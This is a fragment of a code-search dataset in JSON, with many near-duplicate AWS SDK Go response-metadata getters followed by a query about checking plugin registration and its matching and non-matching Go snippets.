(r *OutputService10TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "647fe5e72079b786dfc4ca6d42ec0dfe", "score": "0.77090675", "text": "func (r *OutputService7TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "647fe5e72079b786dfc4ca6d42ec0dfe", "score": "0.77090675", "text": "func (r *OutputService7TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "66c71a34d21d894d3e413d689e551163", "score": "0.7708566", "text": "func (r *DescribeFleetsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "c92321fdce38ccb34fd123505db17969", "score": "0.7707693", "text": "func (r *OutputService4TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "c92321fdce38ccb34fd123505db17969", "score": "0.7707693", "text": "func (r *OutputService4TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "b13fada96ec9f83d7c53d9ad46211842", "score": "0.7703446", "text": "func (r *GetCanaryResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "f96e2604f35888f86619f3498e49ff1f", "score": "0.7701636", "text": "func (r *DescribePipelineResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "91f82e5ea76e5d2e36e541cb8dbfc038", "score": "0.7699684", "text": "func (r *OutputService3TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "91f82e5ea76e5d2e36e541cb8dbfc038", "score": "0.7699684", "text": "func (r *OutputService3TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "ee1255230dd8a5677f14e598d2d8217a", "score": "0.769461", "text": "func (r *GetStaticIpsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "152ed992ec4c3b02292c4561d8ed3920", "score": "0.7692474", "text": "func (r *OutputService2TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "152ed992ec4c3b02292c4561d8ed3920", "score": "0.7692474", "text": "func (r *OutputService2TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "f55c245e5f1c60695afbd7497b5d7358", "score": "0.7691615", "text": "func (r *CreateHITTypeResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "5b3dbae256e7d63cdc3fcabb0d521a7d", "score": "0.76856256", "text": "func (r *StartLabelDetectionResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "22871357a510f034d002dd6eca0b1222", "score": "0.7682986", "text": "func (r *OutputService14TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "453961f3a5ce47a6196386f03d672d75", "score": "0.76813823", "text": "func (r *CreateSolutionVersionResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "b182e109cfb63dce53a8af78572ebcc0", "score": "0.7678294", "text": "func (r *DescribeParametersResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "1507edbb87e34414eb1eba709f8d4468", "score": "0.7678106", "text": "func (r *DescribeTimeToLiveResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "5f5228dbb3ee43057cc451a7e20ef952", "score": "0.7675418", "text": "func (r *AddPermissionResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "46e94d3223b67aee3a1367ce8676ad63", "score": "0.7675406", "text": "func (r *OutputService4TestCaseOperation2Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "06d41bafe6830c1d834a938f7e693b10", "score": "0.76741874", "text": "func (r *OutputService9TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "76deaf492105952d43877be53b542e1f", "score": "0.7673304", "text": "func (r *UpdateRestApiResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "7bf5e9d2d7f09de4bd4c618a94f6de31", "score": "0.76714087", "text": "func (r *GetApiMappingsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "534e19ebb81fc2dea77fbc2350a7e06a", "score": "0.7669616", "text": "func (r *InputService6TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "082241fec9c69672d362cb01fbfd71c9", "score": "0.76668537", "text": "func (r *RegisterUsageResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "082241fec9c69672d362cb01fbfd71c9", "score": "0.76668537", "text": "func (r *RegisterUsageResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "819661ce7b97f4d29b0b63c2d7d92eb4", "score": "0.7665837", "text": "func (r *DescribeFleetResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "0bcc5a95876f1de127d4697a787492ea", "score": "0.76652026", "text": "func (r *InputService4TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "f14ed4d37414308af1b7552a69efcb77", "score": "0.76635176", "text": "func (r *InputService10TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "2ad837f13ca35e65a61b91b1c7f96f3a", "score": "0.7663504", "text": "func (r *OutputService11TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "8c0e2a2e13aaa6f34877bf01409e8429", "score": "0.76628506", "text": "func (r *OutputService5TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "8c0e2a2e13aaa6f34877bf01409e8429", "score": "0.76628506", "text": "func (r *OutputService5TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "7a9ed1f4f261ac841c932286cd3629b9", "score": "0.76598847", "text": "func (r *OutputService14TestCaseOperation2Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "955b210c4398f43abd1ba473ef9cd693", "score": "0.7657357", "text": "func (r *StartReportCreationResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "eba1cb494965b049158989a43005641a", "score": "0.7655406", "text": "func (r *OutputService8TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "73b9c2d1cceb19aea5ef707e5cfbf836", "score": "0.7655382", "text": "func (r *DescribeCertificateResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "01b698af621e6cafbfa3d5af0cb7d2d8", "score": "0.76537436", "text": "func (r *InputService7TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "467fd7023982995c2b662b64e7b94969", "score": "0.7653227", "text": "func (r *GetCertificateResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "d32c3a106fed66bf0df3baca251d47c8", "score": "0.7652818", "text": "func (r *OutputService13TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "4ad61878768dce3fa97e17deb6773acf", "score": "0.7652493", "text": "func (r *DescribeTaskDefinitionResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "f664d6c82c66791ecd1ab4bfbb4b1bbd", "score": "0.7650745", "text": "func (r *DescribeLunaClientResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "9f9e585a86c958f2ddf35423b70c2e43", "score": "0.7648379", "text": "func (r *OutputService1TestCaseOperation2Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "d4396b5ff675808518bec9921f0dbe79", "score": "0.76476294", "text": "func (r *DescribeDetectorModelResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "d01b31af8a8f5acb353a6086daa4c788", "score": "0.76472753", "text": "func (r *InputService3TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "167b66a0b3916a1b825586a345a685d5", "score": "0.76472735", "text": "func (r *DescribeMatchmakingResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "986e678c84832364f0881141be98a1a2", "score": "0.76447135", "text": "func (r *GetSampledRequestsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "eb6d33c2e77f9592378c6372f3614b9a", "score": "0.764082", "text": "func (r *PutBackupVaultNotificationsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "47cc900f184c1a7476d737a5f9ddf63f", "score": "0.7638982", "text": "func (r *InputService9TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "5f65149e117517ab9d6838e1f03d22c7", "score": "0.7638884", "text": "func (r *DescribeEventDetailsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "d336ac45424f63e80b8f7471e3abf1c5", "score": "0.7637902", "text": "func (r *OutputService15TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "f7ad0e3bc84f2e55692d48d2b7a66658", "score": "0.7635349", "text": "func (r *InputService11TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "43bf0489745ac41f063c1334733befef", "score": "0.7634176", "text": "func (r *CreateProjectVersionResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "a09f646d652cb2a131398b6ace35b5bd", "score": "0.763349", "text": "func (r *VerifyResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "730ea117ddc0e6253efe86eb8837fa03", "score": "0.7631974", "text": "func (r *ListForecastsResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "78fb5f1f3566d827449dc77b4320b3d8", "score": "0.763119", "text": "func (r *GetAssetResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "e102791ff7efd3b612f3f2b37b979950", "score": "0.7629663", "text": "func (r *GetResourceConfigHistoryResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "7bf62bea8c4edd100a1cdec615904a50", "score": "0.7629529", "text": "func (r *DescribeKeyResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "b99437b7964215552ffa890648cd12d5", "score": "0.7625463", "text": "func (r *DescribeCasesResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "ba0c0308b87abe43bae7b0fa12638980", "score": "0.7625404", "text": "func (r *GetDevicePoolResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "a701cb7e39cc69a107a213896a088bb5", "score": "0.7624349", "text": "func (r *GetSoftwareUpdatesResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "f918463b76d56d4cc9949a27f0888533", "score": "0.76239926", "text": "func (r *InputService8TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "d772cef5669cb5e0d06ebdb6f65b7449", "score": "0.76204264", "text": "func (r *InputService9TestCaseOperation2Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "965c4ac06d119a35a260d7573f2435a4", "score": "0.7619158", "text": "func (r *InputService10TestCaseOperation2Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "21fc0991eb569e58b4a4cd7a258436ed", "score": "0.76175797", "text": "func (r *ListServicesResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "cfa149fb1dba1780303756dee719e493", "score": "0.76170576", "text": "func (r *GetSmsTemplateResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "ccf53e2839449005e53e1e1484a64754", "score": "0.76165265", "text": "func (r *DescribeEntityResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "32de5735d3169482b24d4243e6a00595", "score": "0.76163983", "text": "func (r *CreatePackageResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "c84a8bf19794388949a5587394d60a2a", "score": "0.7616346", "text": "func (r *CreateCanaryResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "96f6436da703f6486cd1add0ce14a972", "score": "0.7614149", "text": "func (r *DescribeResourceResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "a5514d61647dc0f16b5a0963c5d3c22d", "score": "0.7613329", "text": "func (r *DescribeFlowResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "e53361a4919f1159458cff2d058ba49f", "score": "0.7611296", "text": "func (r *CreateIdentityProviderResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "e19185850fe3eac3aa0aac0c68b1aab5", "score": "0.76112586", "text": "func (r *DescribeNotificationsForBudgetResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "2726ad8409293a23ba5edb2c1e9b79f4", "score": "0.76109487", "text": "func (r *DescribeDRTAccessResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "2cf38efda533f171a0ea9fcc1d823926", "score": "0.76095366", "text": "func (r *DescribeExecutionResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "79877e33d6836b1ad035c8b4aa1a6b16", "score": "0.7607786", "text": "func (r *InputService2TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "8f0a59d1369781c8cb7031bd80048174", "score": "0.7606892", "text": "func (r *InputService5TestCaseOperation1Response) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "0ec62a5bb62983270ed513c9715ab78c", "score": "0.76052785", "text": "func (r *GetFunctionConfigurationResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "c1c0e7c6ade6e9b817928165b280dfda", "score": "0.7605029", "text": "func (r *CreateAccessPointResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "350ed0591e64248c9abf642b8f4daab4", "score": "0.7604929", "text": "func (r *CreateMatchmakingConfigurationResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" }, { "docid": "42f579e7092f9e903e0d435f56082dae", "score": "0.7604155", "text": "func (r *DescribeImagesResponse) SDKResponseMetdata() *aws.Response {\n\treturn r.response\n}", "title": "" } ]
301fb734a820a0a8ee399f8a44bad938
IsPlugin returns true if name corresponds to an already registered Plugin
[ { "docid": "fdd412292e32cc935d51348035a2cf6e", "score": "0.8848545", "text": "func IsPlugin(name string) bool {\n\treturn plugins.Contains(name)\n}", "title": "" } ]
[ { "docid": "9d48504e4c897665a1597503ce4918b6", "score": "0.78478575", "text": "func IsPlugin() bool {\n\t_, ok := os.LookupEnv(EnvPluginCaller)\n\treturn ok\n}", "title": "" }, { "docid": "3738c6c2e437ad5e449444a6052f77b3", "score": "0.7233865", "text": "func (o *PluginInfo) HasPluginName() bool {\n\tif o != nil && o.PluginName != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "e8d24bc61e8dac658365de78a40d840b", "score": "0.69583267", "text": "func pluginFactoryIsRegistered(factory traffic.PluginFactory) bool {\n\tfor _, registeredFactory := range DefaultPlugins {\n\t\tif factory.Name() == registeredFactory.Name() {\n\t\t\treturn true\n\t\t}\n\t}\n\tfor _, registeredFactory := range TestPlugins {\n\t\tif factory.Name() == registeredFactory.Name() {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "cde386a0781b5e4974a837f20c7c33f0", "score": "0.68979424", "text": "func (mgr *pluginsMgr) HasPlugin(pluginName string) bool {\n\t_, ok := mgr.mapPlugin[pluginName]\n\treturn ok\n}", "title": "" }, { "docid": "3fe232e6cab6ffa8c2f32097b4d2a5d6", "score": "0.66576767", "text": "func (p *Plugins) IsValid(pluginName string) bool {\n\tif pluginName == \"\" {\n\t\treturn false\n\t}\n\n\tp.RLock()\n\tdefer p.RUnlock()\n\n\tfor pluginID := range p.active {\n\t\t// specific plugin plugin with instances\n\t\tif pluginID == pluginName || strings.HasPrefix(pluginID, pluginName+\"`\") {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "9b43eafe4c2077b673ed01dd742899da", "score": "0.66149384", "text": "func IsPluginInstalled(ctx context.Context,\n\tstorageDir string,\n\tpath string, version string) (bool, string, error) {\n\tlocal, err := PathForPlugin(storageDir, path, version)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\texists, err := util.IsFileExists(local)\n\tif err != nil {\n\t\treturn false, \"\", err\n\t}\n\tif exists {\n\t\treturn true, local, nil\n\t}\n\treturn false, \"\", nil\n}", "title": "" }, { "docid": "c84f82cf9824ef9df307c2c38c2827bd", "score": "0.6569633", "text": "func (mgr *pluginsMgr) CanNewPlugin(pluginName string) bool {\n\t_, ok := mgr.mapFuncNewPlugin[pluginName]\n\treturn ok\n}", "title": "" }, { "docid": "14fb62dd4d0d127ae7df18e0ee63659e", "score": "0.6481695", "text": "func GetPlugin(name string) (Plugin, bool) {\n\tv, found := plugins.Get(name)\n\tif !found {\n\t\treturn nil, false\n\t}\n\treturn v.(Plugin), true\n}", "title": "" }, { "docid": "4210185b0b672a85a628425dd1f5fdbc", "score": "0.64377296", "text": "func (m *PluginInstaller) plugin(ctx context.Context, pluginID string) (*plugins.Plugin, bool) {\n\tp, exists := m.pluginRegistry.Plugin(ctx, pluginID)\n\tif !exists {\n\t\treturn nil, false\n\t}\n\n\treturn p, true\n}", "title": "" }, { "docid": "fb6315f210aab5c11222706d6edd84af", "score": "0.6411093", "text": "func IsDHCPPlugin(driver string) bool {\n\treturn driverRegexp.MatchString(driver)\n}", "title": "" }, { "docid": "d9a7b75f8c757cca5de196f348842738", "score": "0.6373617", "text": "func (uiPlugin *UIPlugin) IsTheSameAs(otherUiPlugin *UIPlugin) bool {\n\tif otherUiPlugin == nil {\n\t\treturn false\n\t}\n\treturn uiPlugin.UIPluginMetadata.PluginName == otherUiPlugin.UIPluginMetadata.PluginName &&\n\t\tuiPlugin.UIPluginMetadata.Version == otherUiPlugin.UIPluginMetadata.Version &&\n\t\tuiPlugin.UIPluginMetadata.Vendor == otherUiPlugin.UIPluginMetadata.Vendor\n}", "title": "" }, { "docid": "c37af9108de8d158e892108d01684179", "score": "0.62892765", "text": "func (p *Plugins) IsInternal(pluginName string) bool {\n\tif pluginName == \"\" {\n\t\treturn false\n\t}\n\t_, reserved := p.reservedNames[pluginName]\n\n\treturn reserved\n}", "title": "" }, { "docid": "0e8966f5d444c46481fbfb2a64bac23c", "score": "0.6178893", "text": "func (p *Plugin) implement(pluginType string) bool {\n\tfor _, implement := range p.Implements {\n\t\tif implement == pluginType {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "d0b9a7b74f8f29a6e2e0899bb4caf16a", "score": "0.6159606", "text": "func IsInstalled(name, version string) bool {\n\tbase := Path(name, version)\n\tpath := filepath.Join(base, \".eclectica\")\n\n\t// If binary for this plugin already exist then we can assume it was installed before;\n\t// which means we can bail out this point\n\tif _, err := os.Stat(path); err == nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0325c3523b8fc7705cdd81dad2acc81b", "score": "0.614983", "text": "func (h *PluginsHelperImpl) PluginExists(plugin grafanav1alpha1.GrafanaPlugin) bool {\n\turl := fmt.Sprintf(h.BaseUrl, plugin.Name, plugin.Version)\n\tresp, err := h.HttpClient.Get(url)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "255a0f4c5aa6d032bcbfa7fdde63d989", "score": "0.6148467", "text": "func (d *Swarm) CheckPluginRunning(plugin string) func(c *check.C) (interface{}, check.CommentInterface) {\n\treturn func(c *check.C) (interface{}, check.CommentInterface) {\n\t\tstatus, out, err := d.SockRequest(\"GET\", \"/plugins/\"+plugin+\"/json\", nil)\n\t\tc.Assert(err, checker.IsNil, check.Commentf(string(out)))\n\t\tif status != http.StatusOK {\n\t\t\treturn false, nil\n\t\t}\n\n\t\tvar p types.Plugin\n\t\tc.Assert(json.Unmarshal(out, &p), checker.IsNil, check.Commentf(string(out)))\n\n\t\treturn p.Enabled, check.Commentf(\"%+v\", p)\n\t}\n}", "title": "" }, { "docid": "deda09ad28faace273e8fe345f9e14ec", "score": "0.61260355", "text": "func hasDNSNamePlugin(paths []string) bool {\n\tfor _, p := range paths {\n\t\tif _, err := os.Stat(filepath.Join(p, \"dnsname\")); err == nil {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "7a3f3e8776ee2c9402e25805a810f44b", "score": "0.61173344", "text": "func (r *Registry) HasPlugins() bool {\n\treturn len(r.clients) > 0\n}", "title": "" }, { "docid": "1d01cfc2e6f8197868d912bbdb5034a7", "score": "0.6099757", "text": "func (p *ThemisPlugin) Name() string { return ThemisPluginName }", "title": "" }, { "docid": "ea94a55e4cbc0b409592ffbf9caded85", "score": "0.599986", "text": "func RegisterPlugin(p Plugin) {\n\tif p == nil {\n\t\tpanic(\"plugin should not be nil\")\n\t}\n\tname := p.Name()\n\tif name != strings.TrimSpace(name) {\n\t\tpanic(\"plugin name should not start or end with space\")\n\t}\n\tp2, ok := pluginsByName[name]\n\tif ok {\n\t\tpanic(fmt.Errorf(\"plugin %q is already registered: %v vs %v\", name, p.Version(), p2.Version()))\n\t}\n\tpluginsByName[name] = p\n\t// should NOT be sorted\n\tpluginsOrder = append(pluginsOrder, name)\n}", "title": "" }, { "docid": "3433855a8a4c8908ad6326b92781c831", "score": "0.59771454", "text": "func (o *PluginInfo) GetPluginNameOk() (*string, bool) {\n\tif o == nil || o.PluginName == nil {\n\t\treturn nil, false\n\t}\n\treturn o.PluginName, true\n}", "title": "" }, { "docid": "e7e1ab026d1137e24a8c2c23b6f637e8", "score": "0.5967427", "text": "func Register() (found bool) {\n\tvar pluginFiles []string\n\tvar enabledPlugins []string\n\tvar plugin *types.Plugin\n\tvar err error\n\tc := config.Get()\n\n\t// build top level trigger cache\n\tp.AllTriggers = map[string]string{\n\t\tc.Trigger: \"__internal\",\n\t}\n\n\tp.Directory, pluginFiles, err = searchPluginDir()\n\tlog.Debug(\"Potential plugins: %v\\n\", pluginFiles)\n\tif err != nil {\n\t\tfound = false\n\t\tlog.Warning(\"Problem with plugins directory: %s\\n\", err)\n\t\treturn\n\t}\n\tfound = true\n\n\tfor _, pluginName := range pluginFiles {\n\t\tplugin, err = registerPlugin(p.Directory, pluginName)\n\t\tif err != nil {\n\t\t\tlog.Warningf(\"Could not register %s: %s\\n\", pluginName, err)\n\t\t} else {\n\t\t\tp.Plugins[pluginName] = plugin\n\t\t\tenabledPlugins = append(enabledPlugins, plugin.Name)\n\t\t}\n\t}\n\n\tlog.Noticef(\"Enabled Plugins: %s\", strings.Join(enabledPlugins, \", \"))\n\n\treturn found\n}", "title": "" }, { "docid": "901b520e420f8f4a4d9634965641c4fd", "score": "0.5954389", "text": "func RegisterPlugin(plugin Plugin) {\n\tv := reflect.ValueOf(plugin)\n\tsuccess := false\n\tfor pCategory, pReg := range Reg {\n\t\tif v.Type().Implements(pCategory) {\n\t\t\tpReg[plugin.Name()] = v\n\t\t\tlog.Logger.WithFields(logrus.Fields{\n\t\t\t\t\"category\": v.Type().String(),\n\t\t\t\t\"plugin_name\": plugin.Name(),\n\t\t\t}).Debug(\"register plugin success\")\n\t\t\tsuccess = true\n\t\t}\n\t}\n\tif !success {\n\t\tlog.Logger.WithFields(logrus.Fields{\n\t\t\t\"category\": v.Type().String(),\n\t\t\t\"plugin_name\": plugin.Name(),\n\t\t}).Error(\"plugin is not allowed to register\")\n\t}\n}", "title": "" }, { "docid": "41c56090ea70ea3a097dea773f0377c8", "score": "0.59240335", "text": "func (pc *PluginCommon) IsExternal() bool {\n\treturn pc.External\n}", "title": "" }, { "docid": "b6bae2eca5e6a3ab7f102f39912aa162", "score": "0.59131646", "text": "func (p *Plugin) isProbed() bool {\n\treturn p.probed\n}", "title": "" }, { "docid": "f02defa105dc464f1703fee997ac6fb0", "score": "0.58364624", "text": "func PluginInstalled(plugin string) (bool, error) {\n\tvar err error\n\tvar output []string\n\tvar res Result\n\n\t// Get a list of currently installed plugins\n\tres, err = RunHelmCommand(\"plugin\", \"list\")\n\tif err != nil {\n\t\treturn false, fmt.Errorf(\"running helm plugin list: %s: %w\", res.Stderr, err)\n\t}\n\n\t// Split the output on the new line\n\toutput = strings.Split(res.Stdout, \"\\n\")\n\n\t// Remove the column titles\n\tif len(output) > 0 {\n\t\toutput = output[1:]\n\t}\n\n\t// Iterate the plugins\n\tfor _, line := range output {\n\t\tif len(line) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Split the string by a space\n\t\tsplit := strings.Fields(line)\n\n\t\tif plugin == split[0] {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\n\treturn false, nil\n}", "title": "" }, { "docid": "be58a012d9ec48fdd3416c8ac1c2addb", "score": "0.56671995", "text": "func verifyPlugin(filename string) bool {\n\n\tif !strings.HasSuffix(filename, \".so\") {\n\t\treturn false\n\t}\n\n\tif filepath.IsAbs(filename) {\n\t\treturn fileExists(filename)\n\t} else {\n\t\treturn fileExists(filepath.Join(cfg.TrafficServerPluginDir, filename))\n\t}\n}", "title": "" }, { "docid": "78c9233ca8809b9e3b1948b4b5902a49", "score": "0.5620437", "text": "func (o GetPluginsPluginOutput) PluginName() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetPluginsPlugin) string { return v.PluginName }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "feca6158d8bc1c2494104ed4807b0b7c", "score": "0.5607024", "text": "func (o PluginOutput) PluginName() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Plugin) pulumi.StringOutput { return v.PluginName }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "b2be02029250bbd3911f3fa2f8bdee28", "score": "0.5603332", "text": "func (p *Plugin) Name() string {\n\treturn PluginName\n}", "title": "" }, { "docid": "38a459fddf8aa35a3c9914dc5a54153d", "score": "0.5598179", "text": "func checkPluginExists(pluginLocation string) error {\n\tif pluginLocation != \"\" {\n\t\t//Check for plugin executable existence\n\t\t_, err := os.Stat(pluginLocation)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"plugin stat file at %s\", pluginLocation)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "db74d4f9b87807a22be84065ba391c7b", "score": "0.55714005", "text": "func RegisterPlugin(name string, plugin Plugin) {\n\tif name == \"\" {\n\t\tpanic(\"plugin must have a name\")\n\t}\n\tif _, ok := plugins[plugin.Type]; !ok {\n\t\tplugins[plugin.Type] = make(map[string]Plugin)\n\t}\n\tif _, dup := plugins[plugin.Type][name]; dup {\n\t\tpanic(\"plugin named \" + name + \" already registered \" + plugin.Type)\n\t}\n\tplugins[plugin.Type][name] = plugin\n\n\tif (plugin.Assoc == nil || len(plugin.Assoc) == 0) && plugin.Matcher == nil {\n\t\tpanic(\"plugin named \" + name + \"has no mime type associated or matcher defined\")\n\t}\n\n\tif plugin.Assoc == nil || len(plugin.Assoc) == 0 {\n\t\tlog.Warnf(\"plugin %s has not association with any mime type\", name)\n\t} else {\n\t\tmimeAssociation.addMIME(plugin.Type, plugin.Assoc)\n\t}\n\tif plugin.Matcher != nil {\n\t\t// Register custom matchers\n\t\tfor _, mime := range plugin.Assoc {\n\t\t\tplugType := filetype.NewType(plugin.Type, mime)\n\t\t\tfiletype.AddMatcher(plugType, plugin.Matcher)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "60736e66d395b56e0c1aa29785a2d53c", "score": "0.5548567", "text": "func (d *Swarm) CheckPluginImage(plugin string) func(c *check.C) (interface{}, check.CommentInterface) {\n\treturn func(c *check.C) (interface{}, check.CommentInterface) {\n\t\tstatus, out, err := d.SockRequest(\"GET\", \"/plugins/\"+plugin+\"/json\", nil)\n\t\tc.Assert(err, checker.IsNil, check.Commentf(string(out)))\n\t\tif status != http.StatusOK {\n\t\t\treturn false, nil\n\t\t}\n\n\t\tvar p types.Plugin\n\t\tc.Assert(json.Unmarshal(out, &p), checker.IsNil, check.Commentf(string(out)))\n\t\treturn p.PluginReference, check.Commentf(\"%+v\", p)\n\t}\n}", 